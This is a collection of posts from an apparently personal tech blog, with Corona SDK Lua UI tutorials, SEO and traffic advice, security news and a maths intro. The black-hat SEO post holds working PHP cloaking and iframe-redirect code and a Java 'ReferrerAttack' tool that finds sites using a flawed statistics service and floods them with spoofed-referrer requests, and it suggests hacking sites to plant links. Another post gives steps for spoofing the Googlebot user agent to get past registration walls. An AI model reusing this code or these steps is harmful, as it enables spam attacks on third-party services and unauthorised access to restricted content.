Think Techie

Corona SDK: Lua Floating Picker UI

2011-08-23T15:19:00.006+02:00

This post explains how to use the Picker UI implemented in XUI SDK.

In order to use this user interface, we need to import the Picker API:

local picker = require("Picker")
local toolkit = require("DateToolkit")

Then we have to initialize the picker data:

local data = {}
local dataDefts = {1, 1, 1}

-- Used for one wheel picker
local function setupOneWheels()
  data[1] = {"Yes", "No", "Maybe Yes", "Maybe No", "Maybe"}
  local dataDefts = {2}
end

-- Used for two wheels picker
local function setupTwoWheels()
  data[1] = {}
  data[2] = {}

  for j = 1, 9 do 
    data[1][j] = "0" .. j 
  end

  data[2]= { 
      "Jan", "Feb", "Mar",
      "Apr", "May", "Jun",
      "Jul", "Aug", "Sep",
      "Oct", "Nov", "Dec"
    }
end

-- Used for three wheels picker
local function setupDateWheels()
  data[1] = {}
  data[2] = {}
  data[3] = {}

  for j = 1, 9 do 
    data[1][j] = "0" .. j 
  end

  local i = 9
  for j = 10, 31 do 
    data[1][i] = j
    i = i + 1
  end

  data[2]= { 
      "Jan", "Feb", "Mar",
      "Apr", "May", "Jun",
      "Jul", "Aug", "Sep",
      "Oct", "Nov", "Dec"
    }

  -- Year
  local i = 1
  local iYear = 2011
  for j = iYear, 2020 do 
    data[3][i] = j
    i = i + 1
  end

  -- Setup today date
  local yy, mm, dd =  toolkit.getCurrentDateYMD()
  print((yy-iYear+1)..","..mm..","..dd)
  dataDefts = {dd, mm, yy-iYear+1}
end

We setup the event listener, which is used to retrieve the selected value.

local onRelease = function( event )
  if #event.values == 3 then
    local pickerdate = event.values[3] .. 
                       " " .. event.values[2] ..
                       " " .. event.values[1]

    print(toolkit.formatDate(pickerdate, 
                                  "yyyy/mm/dd",
                                  "(%d+) (%a+) (%d+)"))

  elseif #event.values > 0 then
    for j = 1, #event.values do
      print("Slot " .. j .. ": " .. event.values[1])
    end
  end
  print("onReleaseCallback")
end

We describe what to do when the user closes the picker.

local onClose = function( event )
  print ("onClose")
end

And we initialize the Picker UI using the desired parameters

--setupTwoWheels()
setupDateWheels()
--setupOneWheels()

picker.newPickerUI {

  -- Optional. Default is center
  --align = "floating",

  -- Optional. Used to handle multiple picker instances
  uid = 1,
    
  -- List of values for each selector
  data = data,
  
  -- On release event. Find picked values in event.values
  onRelease = onRelease,
  
  onClose = onClose,

  -- Optional. Offset x
  dx = 100,
  
  -- Optional. Offset y
  dy = 100,

  moveWheels = dataDefts,

  -- Optional
  contentWidth = display.contentWidth,
  contentHeight = display.contentHeight,

  withFadingBg = true

}

Now just enjoy it!

Corona SDK: Lua Floating Keyboard

2011-08-21T14:49:00.005+02:00

Corona SDK is a software development used to build mobile applications for the iPhone, iPad, and Android devices. The SDK ships with native keyboard support. However, the API isn't very flexible in some extreme cases. For example:

Keyboard API works only for input fields
You can’t place it at the position you want to
You can’t enable or disable a subset of keys
You can’t control keyboard animations

Imagine you need to input a phone number. Why can't we initialize the keyboard with a pre-selected numeric layout, which has only the key set {2,3,5,7,+} activated ? Such approach would provide a glimpse about the input data expected, and support the user during the validation process.

The aim of this post is to introduce of a small API called XUI SDK, which allows you to do all that. Besides that, the API works with all devices, including the Corona emulator.

How to use the Keyboard API

The first step required to use this API, is the instantialization of the display object with a method called setText( value ). For example,

local newLabel = require("Widgets").newLabel{ 
	text = "0000000000", 
	size = 72, 
	font = native.systemFontBold,
	textColor = { 110,0,0,255 },
	align = "left", 
	bounds = { 15,4,120,26 }
}
newLabel:setText( "Click Me!" )
newLabel:setTextColor(0,255,255)

Now we add a touch listener to our newly created object, which will be used to invoke our keyboard UI. Inside, we define our keyboard properties. e.g. we define the parameter enabledKeys if we need to enable only a small set of keys. Nothing more is required.

newLabel.touch = function(event) 
	print("Label touch - Show me the keyboard!")

	local keys = {}
	keys["2"] = true
	keys["3"] = true
	keys["5"] = true
	keys["7"] = true
	keys[" "] = true
	keys["X"] = true

	keyboard.newKeyboard { 
		-- Required. Object with 'setText( value )' or
		-- 'text' properties and text size 'size'
		inputField = newLabel,

		-- Optional. Use this to override the label value
		-- You can use this to erase
		defaultValue = newLabel.text, 

		-- Optional. Cursor color
		useCursorColor = {100, 100, 100},

		-- Optional. Hide cursor
		hideCursor = false,

		-- Optional. Key press sound
		disableSoundOnHit = false,

		-- Optional. Start with CapsLock enabled
		enableCapsLock = true,

		-- Optional. Enable only a few keys
		enabledKeys = keys,

		-- Optional. Select layout, default is 1. 
		-- 1-ABC, 2-123, 3-Symb
		useLayout = 2,

		-- Landscape orientation or not. 
		-- Default: portrait
		isLandscapeOrientation = true,

		-- Optional. Keyboard position. 
		displayOnTop = false
	}
end
newLabel:addEventListener( "touch", newLabel )

Optionally, we can add other event listeners. The following event listener is invoked only if the key “Return” or “Hide” is pressed. You can use it to validate or perform some additional actions.

local onKeyboardSubmit = function( event )
     print( "Oh Yeahh! Keyboard is GONE!")
     -- e.g. Here you can call some method 
     -- to process your input
end
Runtime:addEventListener("onKeyboardSubmit",
                                  onKeyboardSubmit)

You can also add a key listener as follows:

local onKeyRelease = function( event )
	if event.value then
		print( "Oh Yeahh! Give me more " ..
				tostring(event.value) .. "'s")
	end
    -- e.g. Here you can re-adjust 
    -- the size of your text cell
end
Runtime:addEventListener("onKeyboardKeyRelease",
                                         onKeyRelease)

This listener will notify you about every key pressed.

HTTP Spoofing and Cloaking - Black Hat SEO

2011-07-22T10:00:00.000+02:00

Introduction

As mentioned previously in this post, Search Engine Optimization (SEO) is the process of improving your Web site so it appears higher in the organic, natural, unpaid results of search engines. The varying techniques used for SEO can be lumped into two main categories: White Hat SEO and Black Hat SEO.

Both practices share the same goal of bringing a website to the highest possible organic position. However, as their names suggest, White Hat SEO techniques are safe, reliable, and accepted by Search engines. While Black Hat SEO techniques use methods such as link farms, keyword stuffing and article spinning that degrade the relevance of search. Search engines look for sites that employ these techniques in order to remove them from their indices.

If you hire a company who uses Black Hat SEO techniques, then it’s very possible you will get banned from Google. For anyone whose interested, here it is a list of techniques I retrieved from [2]:

Hidden text

A hidden text is the textual content in web pages which the visitors cannot see but is still readable by the search engines. The main purpose of the hidden text is to load a Web page with keywords and the keyword phrases that would be invisible to visitors but help in improving the page's rankings in the search engine results. Hidden text is considered as search spam by each of the major search engines, since it presents information to search engines differently than to visitors.

Text can be hidden in numerous ways, including:
- Using white color font text on a white background
- Text behind an image
- Using CSS to hide text using CSS, which is naturally used to hide large portions of text in layers for usability reasons. Example: CSS pagination.
- Reducing the font size to 0
Throw Away Domains

Throwaway domains" are domains created to redirect traffic to other, more long lived domains. They are designed to be used only a few days and then discarded by the time spam filters begin to recognize them. The trick consists in the creation of exact match micro sites for short term popular keywords. Something like wikipediahotelsrehab.com
Donation links

Donate for charity, software developers etc. Many of them display links to those who donate.
Keyword stuffing

Tags and folksonomy. Keyword stuff but adding several tags or let your users do the dirty work via UGC tagging (folksonomy) every major social site does that.
Automatically generated keyword pages

Some shopping search engines create pages from each Google search query and assign the appropriate products to each query. You can do that as well if you have enough content.
Misspellings

When choosing your keywords you most likely use the correct spelling so your website looks more professional. But did you know misspelling keywords on purpose can also help with your SEO campaign?

Try different misspellings on Google AdWords Keyword Tool, and see which are searched just as much as the real spelling. For example, the word “jewellery” is a hard one to remember, and search volumes prove this. By searching “Jewellry”, you will find the search volume is just as big as it is for the correct spelling. Optionally, you can redirect to the correct version.
Scraping

Create mirrors for popular sites. Offer them to the respective webmasters. Most will be glad to pay less.
Ad only pages

Create all page ads (interstitials) and show them before users see content like many old media do.
Blog spam

Don’t spam yourself! Create posts about very profitable keywords and let spammers do your job. Then all you need to do is to keep comments containing your keyword and remove all the outgoing links. Bot user generated content so to say.
Duplicate content on multiple domains

Offer your content under a creative Commons License with attribution.
Domain grabbing

Buy old authority domains that failed and revive them instead of putting them on sale.
Fake news

Create real news on official looking sites for real events. You can even do it in print. Works great for all kinds of activism related topics.
Link farm

Create a legit blog network of flagship blogs. A full time pro blogger can manage 3 to 5 high quality blogs by her or himself.
New exploits

Find them and report them, blog about them. You break story and thus you get all the attention and links.
Brand jacking

Write a bad review for a brand that has disappointed you or or set up a brand X sucks page and let consumers voice their concerns.
Rogue bots

Spider websites and make their webmasters aware of broken links and other issues. Some people may be thankful enough to link to you.
Hidden affiliate links

In fact hiding affiliate links is good for usability and can be even more ethical than showing them. example.com/ref?id=87233683 is far worse than than just example.com. Also unsuspecting Web users will copy your ad to forums etc. which might break their TOS. The only thing you have to do is disclose the affiliate as such. I prefer to use [ad] (on Twitter for example) or [partner-link] elsewhere. This way you can strip the annoying “ref” ids and achieve full disclosure at the same time.
Doorway pages

Effectively doorway pages could also be called landing pages. The only difference is that doorway pages are worthless crap while landing pages are streamlined to suffice on their own. Common for both is that they are highly optimized for organic search traffic. So instead of making your doorway pages just a place to get skipped optimize them as landing pages and make the users convert right there.
Multiple subdomains

Multiple subdomains for one domain can serve an ethical purpose. Just think blogspot.com or wordpress.com – they create multiple subdomains by UGC. This way they can rank several times for a query. You can offer subdomains to your users as well.
Social media automation

There is nothing wrong with posts automation in Twitter, Facebook or any other social media service, as long as you don’t overdo it. Scheduling and repeating posts is perfectly OK if there is a real person attending that also produces content. Bot accounts can be ethical as well in case they are useful no only for yourself. A bot collecting news about Haiti in the aftermath of the earthquake would be perfectly legit if you ask me.
Deceptive headlines

Tabloids use them all the time, black hat SEO also do. There are ethical use cases for deceptive headlines though. Satire is one of course and humor simply as well. For instance I could end this list with 24 items and declare this post to a list of 300 items anyways. That would be a good laugh. I’ve done that in the past but in a more humorous post.
Google Bowling

This practice began when Google started penalizing sites that get lots of incoming links in a very short period. Unscrupulous webmasters realized that this could be used against competitor sites by linking to them instead of their own site. Google claim they have measures in place to prevent this practice from unfairly damaging a site's PageRank. Howerver this is clearly not true.
Invisible links

We all use them! Most free web counters and statistic tools use them. So when you embed them on your site you use invisible links.
Different content for search engines than users

Do you use WordPress? Then you have the nofollow attribute added to your comment links. this way the search engine gets different content than the user. We can see it and click on it but for a search bot it'is a no trespass sign. In white hat SEO it’s often called PageRank sculpting. Most social media add ons do that by default.
Hacking sites

You can always hack a website and add a few links to some old post. If you are smart enough, then no one will ever notice it.
Slander linkbait

Pulling a Calacanis like “SEO is bullshit” is quite common these days. Why don’t do it the other way around? The anti SEO thing doesn’t work that good anymore unless you are as famous as Robert Scoble. In contrast a post dealing with “100 Reasons to Love SEO Experts” might strike a chord by now.
Map spam

Instead of faking multiple addresses all over the place just to appear on Google Maps and Local why don’t you simply create an affiliate network of real life small business owners with shops and offices who, for a small amount of money, are your representatives there? All they need to do is to collect your mail from Google and potential clients.
301 redirects

Redirect outdated pages to the newer versions or your homepage. When moving to a new domain use them of course as well.
HTTP Cloaking

Cloaking Involves using the IP address (also called IP delivery) or features of the HTTP request (e.g. the User-Agent field) in order to identify and deliver unique content to a specific IP or User-agent. IP delivery is usually employed to offer the proper localized content to those coming from a country specific IP address.

A basic example (that does't include location check) is:
```
<?php
  $ips = array('1.1.1.1', '2.2.2.2'); // list of IPs
  if (in_array($ip, $ips)){
    header(”HTTP/1.1 301 Moved Permanently”);
    header(”location: http://www.site-two.com”);
    exit;
  }
  else {
    header(’Content-Type: text/html; charset=utf-8.′);
    // Show site one here
  };
?>
```
User-agent Cloaking is another method for delivering different sets of content to different users or spiders.
```
<?php
  if (strstr($_SERVER['HTTP_USER_AGENT'], “Googlebot”)) {
    header(”HTTP/1.1 301 Moved Permanently”);
    header(”location: http://www.site-two.com”);
    exit;
  }
  else {
    header(’Content-Type: text/html; charset=utf-8.′);
    // Show site one here
  };
?>
```
Note that by using cloaking you can hide the heavy Flash animations from Google, showing the text-only version optimized for accessibility and findability.

Now that we learned about the most basic Black SEO techniques, let's move on to a slightly different topic: HTTP Spoofing techniques.

Referrer spoofing techniques

In the context of network security, a spoofing attack is a situation in which one person or program successfully masquerades as another by falsifying data and thereby gaining an illegitimate advantage [1]. Referrer spoofing is a specific type of spoofing attack. For example, some websites, especially pornographic paysites, allow access to their materials only from certain approved (login-) pages. This is enforced by checking the referrer header of the HTTP request. This referrer header however can be changed (known as "referrer spoofing" or "Ref-tar spoofing"), allowing users to gain unauthorized access to the materials (e.g. see this old post).

Manipulation web traffic

As I mentioned on my previous post, some of these techniques can be combined together to get free traffic. All you need to do is send spoofed traffic to some specific websites (e.g. specially to websites containing a top referrers list). Once you reach the top of that list, then you will start receiving natural traffic for free. Of course, if you don’t have a link in your website to that website, then the situation looks suspicions !!

There are several ways that can be used to send traffic to a website.

Traffic exchange

The traffic is real, and goes from your website. This is the honest way of doing it. However it requires you to have already a huge amount of visitors.

Fake visitors

This is the cheapest and fastest way of getting free traffic. However it doesn't always work. The only thing you need is an application that can establish a HTTP connecting to the website, using a spoofed referrer. For that you can use a very old library I developed long time ago, which is now available in Google Code. It's quite easy to use and it includes a cookies manager, connections using several proxies, etc.

/** 
  * This class can be used to define a list of proxies e.g.
  * when you want to route your connection through proxies.
  */
ProxyManager proxy = new ProxyManager();

/** 
 * Add as many as you want, it will iterate them
 */
proxy.add("proxy.domain.com", 3128);

/** Activate this ProxySelector */
proxy.install();

/** If you need cookies for your connection */
Cookies cookies = new Cookies();

/** Setup the HTTP client  */
NetworkClient network = new NetworkClient(cookies);

/** or use defaults */
network = new NetworkClient();

/** Setup the HTTP client headers */
network.setUserAgent("Mozilla/3.0 (Indy Library)");
network.setReferer("http://www.yourwebsite.com");
Logging logger = network.getLogging();

/** Simply repeat the GET request */
String result = network.request("http://www.target.com");
if ( result != null && !result.isEmpty() )
  logger.add(Level.FINE, NetworkClientTest.class, result);
else
  logger.add(Level.SEVERE, NetworkClientTest.class, 
                                     "Couldn't connect!");

/** 
 * If you need to go back to the previous ProxySelector.
 */
proxy.uninstall();

This flaw is possible only if the website doesn't track IPs. You should be careful if you don't want your website to be affiliated with unwanted websites.

Redirect and spoof specific traffic sources.

Assuming the target website(s) do not check whenever it is displayed on a frame (note that this can be used against you) or not, then you can display your page to your users, and at the same time exchange traffic with several sites!! Unattenious users will not ever notice it. So, it was multiple benefits: the user visits your website, and your website status increases in several websites at the same time. Of course you can always improve this method by having a rotation mechanism, that gives more priority to websites where you rank lower.

The following example redirects traffic from PTC programs, surfer programs to our target websites by using just one frame. However you can adapt the code to display your website as well as other target sites.
```
<?php 
  $referer = $_SERVER['HTTP_REFERER'];
  $hostname = 'http://www.think-techie.com';
  if(strpos($referer, 'autosurf'){
     $idx = rand ( 0, 2 );
     $links = array( 'http://www.site-one.com',
                     'http://www.site-two.com’);
?>

<html>
<head>
<meta http-equiv="Content-Type" 
      content="text/html; charset=utf-8">

<script language=Javascript>
  var ref;
  ref = document.referrer;
  window.location.href = '<?php echo $links[$idx]; ?>';
</script>

</head>
<body>
<iframe src ="<?php echo $hostname; ?>" 
        width="100%" height="100%">
  <p>Your browser does not support iframes.</p>
</iframe>
</body>
</html>

<?php
  }
  else {
    header ('HTTP/1.1 301 Moved Permanently');
    header ('Location: ' . $hostname);
  }
?>
```

Exploit services.

The easiest way of getting free traffic is by exploiting service flaws. Some of the most used services that provide statistics about visitors can be exploited in order to display your website on their list.

/** The site your want to promote */
private final String yourWebsite;

/** The service you want to exploit */
private final String flawService;

/** Your niche keywords */
private final String [] keywords;

/** HTTP connection handler */
private NetworkClient network;

/** Default constructor */
public ReferrerAttack(
                         String yourWebsite, 
                         String flawService,
                         String [] keywords)
{
  this.yourWebsite = yourWebsite;
  this.flawService = flawService;
  this.keywords = keywords;
 
  /** setup HTTP connection headers */
  network = new NetworkClient();
  network.setUserAgent("Mozilla/3.0 (Indy Library)");
  network.setReferer("http://" + yourWebsite);
}

public void start() {
  Logging log = network.getLogging();
  log.add(Level.INFO, this.getClass(), 
                       "Searching for possible targets ...");
  ArrayList<String> results = search(-1);
 
  log.add(Level.INFO, this.getClass(), 
                       "Selecting similar targets ...");
  ArrayList<Target> targets = filter(results);
 
  log.add(Level.INFO, this.getClass(), 
                      "Performing attack ..."); 
  attack(targets, 1000);
 
  log.add(Level.INFO, this.getClass(), 
                      "Checking for results ...");
  checker(targets);
}

/**
 * Search websites having outgoing links to this service 
 * @param limit Limit the number of results
 * @return Return a list a possible targets
 */
public ArrayList<String> search(int limit) {
  ArrayList<String> targets = new ArrayList<String>();
 
  /** Do not search more then 50 pages */
  for (int i = 0; i < 50; i += 10) {
    String google="http://www.google.com/search?q=link%3A" +
                      flawService + "&start=" + i;
    String out = network.request(google);
    String regex="<h3 class([^>]+)><a href([^hH]+)([^\"]+)";
    Pattern p = Pattern.compile(regex, Pattern.MULTILINE);
    Matcher m = p.matcher(out);
    while (m.find()) {
      try {
         if (limit > 0 && targets.size() >= limit)
           return targets;

           String url = m.group(3);
           URL r = new URL(url);
           url = r.getProtocol() + "://" + r.getAuthority();
           if (!targets.contains(url))
             targets.add(url);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
   }
 }
 return targets;
} 

/**
 * Filter similar sites. So you stay inside of your niche
 * @param targets List of all targets
 * @return Possible good targets
 */
public ArrayList<Target> filter(ArrayList<String> targets){
 ArrayList<Target> filter = new ArrayList<Target>();
 for(String url : targets){
  String html = network.request(url);
  if(html == null) continue;
  Matcher regx = Pattern.compile("<title>([^<]+)", Pattern.MULTILINE).matcher(html);

  String title = "";
  if( regx.find() ) title = regx.group(1);
  
  regx = Pattern.compile("write_ref\\(([\\d]+)\\);", Pattern.MULTILINE).matcher(html);
  if( regx.find() ){
   for(String keyword : keywords){
    String[] tokens = title.split(" ");
    boolean tokenFound = false;
    for(String t : tokens){
     if(t.contains(keyword)){
      tokenFound = true;
      break;
     }
    }
    /** SPAM only sites containing relevant keywords */
    if(url.contains(keyword) || tokenFound)  
     filter.add(new Target(title, url, regx.group(1)));
   }
  }
 }
 return filter;
}

/**
 * Perform the attack to each of these sites
 * @param targets List of sites
 * @param hits Number of fake visits
 */
public void attack(ArrayList<Target> targets, int hits){
 Logging log = network.getLogging();
 for (int i = 0; i < targets.size(); i++) {
  Target t = targets.get(i);
  int n = hits;
  String url = t.genAttackURL();
  log.add(Level.INFO, this.getClass(), " + Attacking " +
                                            t.getURL());
  while (n > 0) {
   String text = network.request(url);
   if (text == null) {
    log.add(Level.WARNING, this.getClass(), "Site " + 
                                url + " is not reachable"); 
    break;
   }
   n--;
  }
  log.add(Level.INFO, this.getClass(), t.getURL()+" [Done]");
 }
}

/**
 * Check if your site is top referrer for some target
 * @param targets List of target sites
 */
public void checker(ArrayList<Target> targets){
 for(Target target : targets){
  String content = network.request(target.getURL());
  if (content != null) {
   boolean contains = content.contains(yourWebsite);
   network.getLogging().add(Level.INFO, this.getClass(), "[" + contains + "] " + target.url); 
  }
 } 
}

/**
 * Object holding the information about a target site
 */

class Target {
 
 private String url, title, uid;
 
 public Target(String title, String url, String uid){
  this.url = url;
  this.title = title;
  this.uid = uid;
 }
 
 public String getURL(){
  return url;
 }
 
 public String getTitle(){
  return title;
 }
 
 public String getUID(){
  return uid;
 }
 
 public String genAttackURL(){
  return "http://" + flawService + "/link.php?e_uid=" + uid
    + "&e_ref=" + yourWebsite + "&e_loc=" + url + "&e_title="
    + title;
 }
}

How to protect your website

If you have a top referrer list, make sure you ensure that only unique IP are tracked and ignore users visiting through proxies. Besides that, do not allow your site to be displayed inside iframes. However the following code doesn't protect your website from all possible scenarios, at least you will avoid the most common ones.

<script type="text/javascript">
    if (top.location != self.location)
    top.location = self.location;
</script>

References

[1] Spoofing attack. Wikipedia.
[2] 30 Black Hat SEO Techniques You Can Use Ethically. http://www.seoptimise.com

Get free web traffic using white hat and black hat techniques

2011-05-01T19:49:00.001+02:00

Search engine optimization (SEO) is the process of improving the visibility of a website in search engines such as Google, Yahoo or Bing, via un-paid search results [1]. Yet, it means a bit more than that. For example, a frequent problem associated to SEO techniques is that you can't get traffic once and then have its benefits forever. Getting traffic is an unending task that requires your constant attention in order to keep it. Besides that, relying too heavily on some source of traffic leaves your business vulnerable to their whims and dramatic shifts of costs. Some techniques to obtain and maintain free traffic are listed below:

Optimize your site for search engines. Search engines have always been a major way to get good traffic for free. That is why you really need to learn how they work, and optimize the website to rank well for the keywords you target. Besides that, you should also facilitate all indexing activities of search engines (e.g. creation of sitemap.xml). For more details about these optimizations read the extensive literature available on the internet (e.g. Build your Site Map online).

Update your web page content frequently. One of the first steps in getting traffic for free is trivial but vital – get great content and frequently update it. In terms of SEO, content is king. If your content is good and frequently updated you will not only build a loyal audience of recurring visitors, who will often come to see what is new, but search engines will also love your site [2]. Black hat techniques exist to exploit this concept. The most famous one goes through the use of scripts that rotates articles in order to exploit some specific keywords. However I strongly discourage it.

Take advantage of social bookmarking sites. Social bookmarking sites such as Digg, Delicious or Google bookmarks are another powerful and easy way to get traffic for free.

Use your Twitter and Facebook accounts. Social networks are excellent to improve your website traffic. If you are popular on networks, such as Twitter or Facebook, the traffic you get from there can easily surpass the traffic from Google or any other search engine. It is true that building a large network of targeted followers on Twitter and supporters on Facebook takes a lot of time and effort but generally the result is worth [2].

Use any chance to promote your site for free. Free promotion is always welcome, so don't neglect it. There are many ways to promote your site for free and some of the most popular ones include free classified ads, submissions to directories, inclusion in various listings, etc. It is true that not all free ways to promote your site work well but if you select the right places to promote your site for free, this can also result in tons of traffic [2].

Create a free product or service. Content drives most traffic when you offer something useful. There are many types of useful content you can create and they largely depend on the niche of your site. You can have articles with tons of advice, or short tips but one of the most powerful ways to get traffic is to create a free product or service. When this product or service gets popular and people start visiting your site, chances are that they will visit the other sections of the site as well.

Use viral content. Free products and services are great for getting free traffic to your site and one of the best varieties in this aspect is viral content. Viral content is called so because it distributes like a virus – i.e. when users like your content, they send it to their friends, post it on various sites, and promote it for free in many different ways. Viral content distributes on its own and your only task is to create it and submit it to a couple of popular sites. After that users pick it and distribute it for you. Viral content can be a hot video or a presentation but it can also be a good old article or an image.

Use offline promotion. Offline promotion is frequently forgotten but it is also a way to get traffic for free. Yes, computers are everywhere and many people spend more time online than offline but still life hasn't moved completely on the Web. Offline promotion is also very powerful and if you know how to use it, this can also bring you many visitors. Some of the traditional offline ways to promote your site include printing its URL on your company's business cards and souvenirs or sticking it on your company vehicles. You can also start selling T-shirts and other merchandise with your logo and this way make your brand more popular [2].

Include your URL in your signature. URLs in forum signatures are also a way to get traffic for free. There are forums, which get lots of visitors a day and if you are a popular user on such a forum, you can use it for your benefit. When you post on forums and people like your posts, they tend to click the link to your site on your signature to learn more about you. In rare cases you might be able to post a deep link (i.e. a link to an internal page of the site) rather than a link to your homepage and this is also a way to focus attention to a particular page. Unfortunately, deep links are rarely allowed.

Use comments to promote your website. Forums and blogs can be excellent places to promote your website. The promotion remains subtle and is part of other useful content that you’ve added to the conversation. If you simply bombard a random forum with your URLs you will be banned. Similarly, if you post pointless comments as badly disguised self-promotion your posts will likely be ignored or deleted.

The best method is to find a few high traffic blogs and forums in your market and spend some time there reading and familiarizing yourself with the discussion. Start replying to posts with useful remarks so that you gradually build a reputation as a genuine and helpful contributor. Once you have established yourself as a valuable member, people will be much more interested in seeing what else you have to say in your website (even if it's not related with your website).

Submit articles to articles directories. Article directory are places where people can submit their articles. Then articles are then free for anyone to download or reproduce, provided that the author information and any link the author has inserted into the article remain intact. Directories benefit both parts: the author gets the article distributed around the internet for free, earning backlinks and traffic in the process while the person using the article gets free content for their website [3].

Get links with other sites in your niche. Another way to get traffic for free is from other sites in your niche. Getting links with other sites in your niche is also good for SEO, especially if you manage to get links without the famous nofollow attribute. But even if the links are nofollow (i.e. they are useless for SEO), they still help to get traffic to your site. If you manage to put your link in a visible place on a site with high volumes of traffic, you can get thousands of hits from this link alone. However, be careful while exchanging links, because linking to bad neighbors or building backlinks to quickly, may get you penalized.

Exploit website’s top referrers list. Frequently, webmasters exploit PTR (Paid To Read) and PTC (Paid To Click) services as an intermediary technique to archive traffic. In most cases they expose their websites to these services, and users are then paid to read it. However, it’s a fast way to expose your website to a large audience, it may not target your niche. Thus, they will read it because they are paid to do it, but the conversion ratio will be low. Consequently, some webmasters use these services as an illegal way to do referrer spoofing attacks on website’s top referrers list, which may be extremely difficult to detect.

Note that, the word “pay” means the fast way to use these services, since they usually offer the free option: you read or click in other sites to earn credits, and then you can use them to get traffic.

After this short introduction, we learned that getting traffic for free is a vast topic and it is not possible to list all the ways to do it. However, if you know the most important ways – i.e. the ways we discussed in this article and you apply them properly, it is guaranteed that you will be able to get lots of traffic for free. On my next post I will explain how some black hat techniques work in detail, and what you can do to protect your website from it. So stay tuned.

References

[1] Search Engine Optimization (SEO). Wikipedia.

[2] 10 Ways to Get Traffic for Free. Webconfs.com - Seo tools and webmaster utilities.

[3] How to get traffic to your website using alternative methods. Affilorama.com
http://www.webconfs.com/how-to-get-traffic-article-30.php

BlackBerry encryption is too secure

2010-08-14T15:15:00.089+02:00

The encryption developed by BlackBerry’s manufacturers, designed to ensure secrecy during corporate business deals is now facing some serious privacy issues.

The Indian government’s internal security and intelligence services cannot break the encryption of the device. Thus, they are unable to monitor data in the interests of national security, which makes countering terror threats and national security matters difficult - especially for a region which faces constant threats and attacks from domestic Maoist insurgents and extremist Islamic groups.

Bappa Majumdar reports:

Indian authorities, who met with RIM officials on Friday, also pledged to go after other companies — including Google and Skype — to protect the country from cyber-spying and attacks planned over the Internet.

RIM faces an August 31 deadline to give authorities the means to read email and instant messages sent over the BlackBerry. New Delhi says it will pull the plug if RIM won’t comply, threatening its future in the world’s fastest-growing telecoms market.

The BBC also confirmed via the United Arab Emirates’s state media that come October, all half a million BlackBerry users in the region will have some services (including Messenger, email and web browsing) suspended unless a "solution compatible with local laws is reached", amid national security concerns.

Read more on Reuters.com.

Access Any Website Or Forum Without Registering

2010-06-22T17:34:00.009+02:00

Let's imagine the following scenario: We are happily searching on Google and suddenly we find something really interesting however, when we try to open the URL, a different page is shown asking us to kindly register. Now we can ask to ourselves: Why Google can see this page ? Is it registered at every forum or web page in the web ?

The answer is quite simple: all websites and forums will block unregistered users, but usually they won’t block Google Bot. Consequently, these pages can be found using the Google search engine or Google cache system. Same applies to any other search engine.

Probably the reader is now wondering: "If I spoof my user agent to that of Google Bot, then I can freely browse any website or forum without registering". First, this is not true for every website. However, there are plenty of popular sites out their that cloak content which is normally only available to paying members or when the registration is free (usually it doesn't work with paid porn websites!). Furthermore, doing it may also be against the terms of service of the site you are visiting.

To prevent this, some websites may also use other mechanisms that can determine if you are or not a bot (e.g. IP address, User Agent cloaking, Javascript and cookie detection, and referer detection).

So, how do you beat all 5 major types of cloaking?

Beat IP Delivery: Use Google Translate as a Proxy, translating from any language to the original website language. The goal here, is to use Google’s IP address, so that if someone is cloaking using IP delivery, they will still assume you are Google. Other proxies may not fall into the same c-block range as Google’s, making you less likely to succeed. However it may work as well.

Notice: If you use Google Translate, the Google's IP address will shows up in the REMOTE_ADDR field of $_SERVER variable in PHP. However your IP address is still accessible in an extra header called HTTP_X_FORWARDED_FOR, but the vast majority of sites do not check for this.
Beat User-Agent Cloaking: First grab the add-on for Firefox called ‘user agent’ here and install it. Now go to Tools > User Agent Switcher > Options and then again to Options.

Select User Agent from the left sidebar and click Add. Now in the description field type:

crawl-66-249-66-1.googlebot.com

The only thing the webmaster can do is check of the IP matches:

host crawl-66-249-66-1.googlebot.com
crawl-66-249-66-1.googlebot.com has address 66.249.66.1

Because Google doesn't post a public list of IP addresses for webmasters to whitelist.

Set also the user agent field type:

Googlebot/2.1 (+http://www.googlebot.com/bot.html).

Note: You can use any other search engine was well.
Beat Javascript Detection: Check your Firefox preferences and simply disable JavaScript.
Beat Cookie Detection: Turn off cookies in Firefox settings (Tools > Options > Content and Privacy).
Beat Referer Detection: Just go to about:config and type “referer” in the box. Change the value to 0.

Good browsing!

Google Encrypted Search

2010-05-31T16:38:00.001+02:00

Google just launched the encrypted search service!

Basically, it works pretty much in the same way online banking or other login pages work. Using Secure Sockets Layer connections, the connection between you and Google is encrypted, so third parties (on your network), beyond you and Google, cannot look at your search terms and your search results pages.

Note that encrypted search does not mean Google no longer stores your search data - it only means third parties cannot listen in to the connection between you and Google. If you don't want Google tracking you, there is a number of things that can be used to block various Google services. For search https://ssl.scroogle.org is one of them.

It is also important to note that this is a beta service, so for now, it only works with traditional search results - Google Maps or Google Image search is not yet supported, so switching to those results may take you out of your encrypted connection. It goes without saying that the encrypted connection may lead to slightly slower results; the search results in and of themselves are not affected.

Several web hosting companies hacked again

2010-05-20T21:50:00.003+02:00

Today, I just noticed the existence of malware on my website. Unfortunately, I didn't noticed it early because I wasn't affected by this worm/virus/malware (I will explain this better on my next post).

Apparently last week, in a series of attacks (this had also happened in April too) thousands of sites got hacked and were injected by a worm/virus/malware. It was first assumed that the hack was only targeting Wordpress blogs but it soon became known that other scripts were also affected by it.

The common denominator of the hack was that all affected websites were hosted on so called shared hosting servers. These servers host multiple websites by different users. Some of the affected web hosting companies are Go Daddy, Bluehost, Media temple, Dreamhost and Network Solutions.

It is not clear yet how the hack was carried out. Current suggestions are either weak passwords or file access rights that allow the attacker to gain access. There is also who claim that someone found a loophole in Linux shared hosts.

The web host GoDaddy already admitted they have a problem, but it looks like they were not able to fix it yet. This is what Godaddy has to say about it.

Removing this malware is not easy because it may affect all your php files. Furthermore, if you succeed in removing it, then you still have to scan your sites every day, and cure the problem immediately before your visitors get infected.

Complex Numbers for Dummies

2010-04-29T21:59:00.105+02:00

Today I decided to open a new chapter entitled "Mathematics". This new chapter will be mainly about Algebraic Coding Theory and Algebraic Geometry. If you are a mathematician, then this is not what your are looking for because I will try to avoid all the unnecessary mathematical notations for a basic understanding. However, if you are just interested in learn some curious facts about mathematics, then, probably this is the right place for you.

We all know that $(-2)^2 = 4$ and $2^2 = 4$, but what happens when we want to take the square root of a negative number? Until now, we simply left it as "undefined", since we had no numbers which were negative after squared. Therefore, we couldn't "go backwards" by taking the square root.

